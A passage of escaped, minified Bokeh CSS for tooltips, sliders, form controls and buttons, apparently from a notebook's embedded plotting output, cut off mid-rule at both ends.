\\\\\\\";display:inline-block;background-color:lightgray}.bk-root .bk-toolbar-above .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-below .bk-button-bar+.bk-button-bar:before{height:10px;width:1px}.bk-root .bk-toolbar-left .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-right .bk-button-bar+.bk-button-bar:before{height:1px;width:10px}.bk-root .bk-tooltip{font-family:\\\\\\\"HelveticaNeue-Light\\\\\\\",\\\\\\\"Helvetica Neue Light\\\\\\\",\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,\\\\\\\"Lucida Grande\\\\\\\",sans-serif;font-weight:300;font-size:12px;position:absolute;padding:5px;border:1px solid #e5e5e5;background-color:white;pointer-events:none;opacity:.95}.bk-root .bk-tooltip>div:not(:first-child){margin-top:5px;border-top:#e5e5e5 1px dashed}.bk-root .bk-tooltip.bk-left.bk-tooltip-arrow::before{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-left::before{left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-right.bk-tooltip-arrow::after{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-right::after{right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-above::before{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;top:-10px;border-bottom-width:10px;border-bottom-color:#909599}.bk-root .bk-tooltip.bk-below::after{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;bottom:-10px;border-top-width:10px;border-top-color:#909599}.bk-root .bk-tooltip-row-label{text-align:right;color:#26aae1}.bk-root .bk-tooltip-row-value{color:default}.bk-root .bk-tooltip-color-block{width:12px;height:12px;margin-left:5px;margin-right:5px;outline:#ddd solid 1px;display:inline-block}.rendered_html .bk-root .bk-tooltip table,.rendered_html .bk-root .bk-tooltip tr,.rendered_html .bk-root .bk-tooltip th,.rendered_html .bk-root .bk-tooltip td{border:0;padding:1px}\\\\n/* END bokeh.min.css */\\\");\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-widgets.min.css */\\\\n@charset \\\\\\\"UTF-8\\\\\\\";.bk-root{/*!\\\\n * Pikaday\\\\n * Copyright \\\\u00a9 2014 David Bushell | BSD & MIT license | http://dbushell.com/\\\\n */}.bk-root .bk-noUi-target,.bk-root .bk-noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-target{position:relative;direction:ltr}.bk-root .bk-noUi-base{width:100%;height:100%;position:relative;z-index:1}.bk-root .bk-noUi-connect{position:absolute;right:0;top:0;left:0;bottom:0}.bk-root .bk-noUi-origin{position:absolute;height:0;width:0}.bk-root .bk-noUi-handle{position:relative;z-index:1}.bk-root .bk-noUi-state-tap .bk-noUi-connect,.bk-root .bk-noUi-state-tap .bk-noUi-origin{-webkit-transition:top .3s,right .3s,bottom .3s,left .3s;transition:top .3s,right .3s,bottom .3s,left .3s}.bk-root .bk-noUi-state-drag *{cursor:inherit !important}.bk-root .bk-noUi-base,.bk-root .bk-noUi-handle{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.bk-root .bk-noUi-horizontal{height:18px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.bk-root .bk-noUi-vertical{width:18px}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.bk-root .bk-noUi-target{background:#fafafa;border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #BBB}.bk-root .bk-noUi-connect{background:#3fb8af;border-radius:4px;box-shadow:inset 0 0 3px rgba(51,51,51,0.45);-webkit-transition:background 450ms;transition:background 450ms}.bk-root .bk-noUi-draggable{cursor:ew-resize}.bk-root .bk-noUi-vertical .bk-noUi-draggable{cursor:ns-resize}.bk-root .bk-noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #ebebeb,0 3px 6px -3px #BBB}.bk-root .bk-noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.bk-root .bk-noUi-handle:before,.bk-root .bk-noUi-handle:after{content:\\\\\\\"\\\\\\\";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.bk-root .bk-noUi-handle:after{left:17px}.bk-root .bk-noUi-vertical .bk-noUi-handle:before,.bk-root .bk-noUi-vertical .bk-noUi-handle:after{width:14px;height:1px;left:6px;top:14px}.bk-root .bk-noUi-vertical .bk-noUi-handle:after{top:17px}.bk-root [disabled] .bk-noUi-connect{background:#b8b8b8}.bk-root [disabled].bk-noUi-target,.bk-root [disabled].bk-noUi-handle,.bk-root [disabled] .bk-noUi-handle{cursor:not-allowed}.bk-root .bk-noUi-pips,.bk-root .bk-noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-pips{position:absolute;color:#999}.bk-root .bk-noUi-value{position:absolute;white-space:nowrap;text-align:center}.bk-root .bk-noUi-value-sub{color:#ccc;font-size:10px}.bk-root .bk-noUi-marker{position:absolute;background:#CCC}.bk-root .bk-noUi-marker-sub{background:#AAA}.bk-root .bk-noUi-marker-large{background:#AAA}.bk-root .bk-noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.bk-root .bk-noUi-value-horizontal{-webkit-transform:translate3d(-50%,50%,0);transform:translate3d(-50%,50%,0)}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker{margin-left:-1px;width:2px;height:5px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-sub{height:10px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-large{height:15px}.bk-root .bk-noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.bk-root .bk-noUi-value-vertical{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0);padding-left:25px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker{width:5px;height:2px;margin-top:-1px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-sub{width:10px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-large{width:15px}.bk-root .bk-noUi-tooltip{display:block;position:absolute;border:1px solid #d9d9d9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center;white-space:nowrap}.bk-root .bk-noUi-horizontal .bk-noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.bk-root .bk-noUi-vertical .bk-noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.bk-root .bk-noUi-handle{cursor:grab;cursor:-webkit-grab}.bk-root .bk-noUi-handle.bk-noUi-active{cursor:grabbing;cursor:-webkit-grabbing}.bk-root .bk-noUi-tooltip{display:none;white-space:nowrap}.bk-root .bk-noUi-handle:hover .bk-noUi-tooltip{display:block}.bk-root .bk-noUi-horizontal{width:100%;height:10px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:14px;height:18px;left:-7px;top:-5px}.bk-root .bk-noUi-vertical{width:10px;height:100%}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:18px;height:14px;left:-5px;top:-7px}.bk-root .bk-noUi-handle:after,.bk-root .bk-noUi-handle:before{display:none}.bk-root .bk-noUi-connect{box-shadow:none}.bk-root fieldset{padding:0;margin:0;border:0;min-width:0}.bk-root legend{display:block;width:100%;padding:0;margin-bottom:17px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}.bk-root label{display:inline-block;margin-bottom:5px}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root input[type=\\\\\\\"radio\\\\\\\"],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]{margin:4px 0 0;margin-top:1px \\\\\\\\9;line-height:normal}.bk-root input[type=\\\\\\\"file\\\\\\\"]{display:block}.bk-root input[type=\\\\\\\"range\\\\\\\"]{display:block;width:100%}.bk-root select[multiple],.bk-root select[size]{height:auto}.bk-root input[type=\\\\\\\"file\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"radio\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root output{display:block;padding-top:7px;line-height:1.42857143;color:#555}.bk-root .bk-bs-form-control{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-bs-form-control::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-bs-form-control:-ms-input-placeholder{color:#999}.bk-root .bk-bs-form-control::-webkit-input-placeholder{color:#999}.bk-root .bk-bs-form-control[disabled],.bk-root .bk-bs-form-control[readonly],fieldset[disabled] .bk-root .bk-bs-form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-bs-form-control{height:auto}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-appearance:none}.bk-root input[type=\\\\\\\"date\\\\\\\"]{line-height:31px}.bk-root .bk-bs-form-group{margin-bottom:15px}.bk-root .bk-bs-radio,.bk-root .bk-bs-checkbox{display:block;min-height:17px;margin-top:10px;margin-bottom:10px;padding-left:20px}.bk-root .bk-bs-radio label,.bk-root .bk-bs-checkbox label{display:inline;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-radio-inline input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"],.bk-root .bk-bs-checkbox-inline input[type=\\\\\\\"checkbox\\\\\\\"]{float:left;margin-left:-20px}.bk-root .bk-bs-radio+.bk-bs-radio,.bk-root .bk-bs-checkbox+.bk-bs-checkbox{margin-top:-5px}.bk-root .bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio-inline+.bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline+.bk-bs-checkbox-inline{margin-top:0;margin-left:10px}.bk-root input[type=\\\\\\\"radio\\\\\\\"][disabled],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"][disabled],.bk-root .bk-bs-radio[disabled],.bk-root .bk-bs-radio-inline[disabled],.bk-root .bk-bs-checkbox[disabled],.bk-root .bk-bs-checkbox-inline[disabled],fieldset[disabled] .bk-root input[type=\\\\\\\"radio\\\\\\\"],fieldset[disabled] .bk-root input[type=\\\\\\\"checkbox\\\\\\\"],fieldset[disabled] .bk-root .bk-bs-radio,fieldset[disabled] .bk-root .bk-bs-radio-inline,fieldset[disabled] .bk-root .bk-bs-checkbox,fieldset[disabled] .bk-root .bk-bs-checkbox-inline{cursor:not-allowed}.bk-root .bk-bs-input-sm{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-sm{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-sm,select[multiple].bk-root .bk-bs-input-sm{height:auto}.bk-root .bk-bs-input-lg{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-lg{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-lg,select[multiple].bk-root .bk-bs-input-lg{height:auto}.bk-root .bk-bs-has-feedback{position:relative}.bk-root .bk-bs-has-feedback .bk-bs-form-control{padding-right:38.75px}.bk-root .bk-bs-has-feedback .bk-bs-form-control-feedback{position:absolute;top:22px;right:0;display:block;width:31px;height:31px;line-height:31px;text-align:center}.bk-root .bk-bs-has-success .bk-bs-help-block,.bk-root .bk-bs-has-success .bk-bs-control-label,.bk-root .bk-bs-has-success .bk-bs-radio,.bk-root .bk-bs-has-success .bk-bs-checkbox,.bk-root .bk-bs-has-success .bk-bs-radio-inline,.bk-root .bk-bs-has-success .bk-bs-checkbox-inline{color:#3c763d}.bk-root .bk-bs-has-success .bk-bs-form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-success .bk-bs-form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.bk-root .bk-bs-has-success .bk-bs-input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.bk-root .bk-bs-has-success .bk-bs-form-control-feedback{color:#3c763d}.bk-root .bk-bs-has-warning .bk-bs-help-block,.bk-root .bk-bs-has-warning .bk-bs-control-label,.bk-root .bk-bs-has-warning .bk-bs-radio,.bk-root .bk-bs-has-warning .bk-bs-checkbox,.bk-root .bk-bs-has-warning .bk-bs-radio-inline,.bk-root .bk-bs-has-warning .bk-bs-checkbox-inline{color:#8a6d3b}.bk-root .bk-bs-has-warning .bk-bs-form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-warning .bk-bs-form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.bk-root .bk-bs-has-warning .bk-bs-input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.bk-root .bk-bs-has-warning .bk-bs-form-control-feedback{color:#8a6d3b}.bk-root .bk-bs-has-error .bk-bs-help-block,.bk-root .bk-bs-has-error .bk-bs-control-label,.bk-root .bk-bs-has-error .bk-bs-radio,.bk-root .bk-bs-has-error .bk-bs-checkbox,.bk-root .bk-bs-has-error .bk-bs-radio-inline,.bk-root .bk-bs-has-error .bk-bs-checkbox-inline{color:#a94442}.bk-root .bk-bs-has-error .bk-bs-form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-error .bk-bs-form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.bk-root .bk-bs-has-error .bk-bs-input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.bk-root .bk-bs-has-error .bk-bs-form-control-feedback{color:#a94442}.bk-root .bk-bs-form-control-static{margin-bottom:0}.bk-root .bk-bs-help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.bk-root .bk-bs-form-inline .bk-bs-form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-form-control{display:inline-block;width:auto;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-input-group>.bk-bs-form-control{width:100%}.bk-root .bk-bs-form-inline .bk-bs-control-label{margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio,.bk-root .bk-bs-form-inline .bk-bs-checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-form-inline .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"]{float:none;margin-left:0}.bk-root .bk-bs-form-inline .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0}}.bk-root .bk-bs-form-horizontal .bk-bs-control-label,.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox,.bk-root .bk-bs-form-horizontal .bk-bs-radio-inline,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox{min-height:24px}.bk-root .bk-bs-form-horizontal .bk-bs-form-group{margin-left:-15px;margin-right:-15px}.bk-root .bk-bs-form-horizontal .bk-bs-form-control-static{padding-top:7px}@media(min-width:768px){.bk-root .bk-bs-form-horizontal .bk-bs-control-label{text-align:right}}.bk-root .bk-bs-form-horizontal .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0;right:15px}.bk-root .bk-bs-btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:12px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.bk-root .bk-bs-btn:focus,.bk-root .bk-bs-btn:active:focus,.bk-root .bk-bs-btn.bk-bs-active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root .bk-bs-btn:hover,.bk-root .bk-bs-btn:focus{color:#333;text-decoration:none}.bk-root .bk-bs-btn:active,.bk-root .bk-bs-btn.bk-bs-active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn.bk-bs-disabled,.bk-root .bk-bs-btn[disabled],fieldset[disabled] .bk-root .bk-bs-btn{cursor:not-allowed;pointer-events:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-default{color:#333;background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{color:#333;background-color:#ebebeb;border-color:#adadad}.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{background-image:none}.bk-root .bk-bs-btn-default.bk-bs-disabled,.bk-root .bk-bs-btn-default[disabled],fieldset[disabled] .bk-root .bk-bs-btn-default,.bk-root .bk-bs-btn-default.bk-bs-disabled:hover,.bk-root .bk-bs-btn-default[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default.bk-bs-disabled:focus,.bk-root .bk-bs-btn-default[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default.bk-bs-disabled:active,.bk-root .bk-bs-btn-default[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-default[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-default.bk-bs-active{background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default .bk-bs-badge{color:#fff;background-color:#333}.bk-root .bk-bs-btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{color:#fff;background-color:#3276b1;border-color:#285e8e}.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{background-image:none}.bk-root .bk-bs-btn-primary.bk-bs-disabled,.bk-root .bk-bs-btn-primary[disabled],fieldset[disabled] .bk-root .bk-bs-btn-primary,.bk-root .bk-bs-btn-primary.bk-bs-disabled:hover,.bk-root .bk-bs-btn-primary[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary.bk-bs-disabled:focus,.bk-root .bk-bs-btn-primary[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary.bk-bs-disabled:active,.bk-root .bk-bs-btn-primary[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-primary[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-primary.bk-bs-active{background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary .bk-bs-badge{color:#428bca;background-color:#fff}.bk-root .bk-bs-btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{color:#fff;background-color:#47a447;border-color:#398439}.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{background-image:none}.bk-root .bk-bs-btn-success.bk-bs-disabled,.bk-root .bk-bs-btn-success[disabled],fieldset[disabled] .bk-root .bk-bs-btn-success,.bk-root .bk-bs-btn-success.bk-bs-disabled:hover,.bk-root .bk-bs-btn-success[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success.bk-bs-disabled:focus,.bk-root .bk-bs-btn-success[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success.bk-bs-disabled:active,.bk-root .bk-bs-btn-success[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-success[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-success.bk-bs-active{background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success .bk-bs-badge{color:#5cb85c;background-color:#fff}.bk-root .bk-bs-btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{color:#fff;background-color:#39b3d7;border-color:#269abc}.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{background-image:none}.bk-root .bk-bs-btn-info.bk-bs-disabled,.bk-root .bk-bs-btn-info[disabled],fieldset[disabled] .bk-root .bk-bs-btn-info,.bk-root .bk-bs-btn-info.bk-bs-disabled:hover,.bk-root .bk-bs-btn-info[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info.bk-bs-disabled:focus,.bk-root .bk-bs-btn-info[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info.bk-bs-disabled:active,.bk-root .bk-bs-btn-info[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-info[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-info.bk-bs-active{background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info .bk-bs-badge{color:#5bc0de;background-color:#fff}.bk-root .bk-bs-btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{color:#fff;background-color:#ed9c28;border-color:#d58512}.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{background-image:none}.bk-root .bk-bs-btn-warning.bk-bs-disabled,.bk-root .bk-bs-btn-warning[disabled],fieldset[disabled] .bk-root .bk-bs-btn-warning,.bk-root .bk-bs-btn-warning.bk-bs-disabled:hover,.bk-root .bk-bs-btn-warning[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning.bk-bs-disabled:focus,.bk-root .bk-bs-btn-warning[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning.bk-bs-disabled:active,.bk-root .bk-bs-btn-warning[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-warning[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-warning.bk-bs-active{background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning .bk-bs-badge{color:#f0ad4e;background-color:#fff}.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d2322d;border-color:#ac2925}.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{background-image:none}.bk-root .bk-bs-btn-danger.bk-bs-disabled,.bk-root .bk-bs-btn-danger[disabled],fieldset[disabled] .bk-root .bk-bs-btn-danger,.bk-root .bk-bs-btn-danger.bk-bs-disabled:hover,.bk-root .bk-bs-btn-danger[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger.bk-bs-disabled:focus,.bk-root .bk-bs-btn-danger[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger.bk-bs-disabled:active,.bk-root .bk-bs-btn-danger[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-danger[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-danger.bk-bs-active{background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger .bk-bs-badge{color:#d9534f;background-color:#fff}.bk-root .bk-bs-btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:active,.bk-root .bk-bs-btn-link[disabled],fieldset[disabled] .bk-root .bk-bs-btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus,.bk-root .bk-bs-btn-link:active{border-color:transparent}.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent}.bk-root .bk-bs-btn-link[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-link:focus{color:#999;text-decoration:none}.bk-root .bk-bs-btn-lg{padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}.bk-root .bk-bs-btn-sm{padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-xs{padding:1px 5px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-block{display:block;width:100%;padding-left:0;padding-right:0}.bk-root .bk-bs-btn-block+.bk-bs-btn-block{margin-top:5px}.bk-root input[type=\\\\\\\"submit\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"reset\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"button\\\\\\\"].bk-bs-btn-block{width:100%}.bk-root .bk-bs-caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid 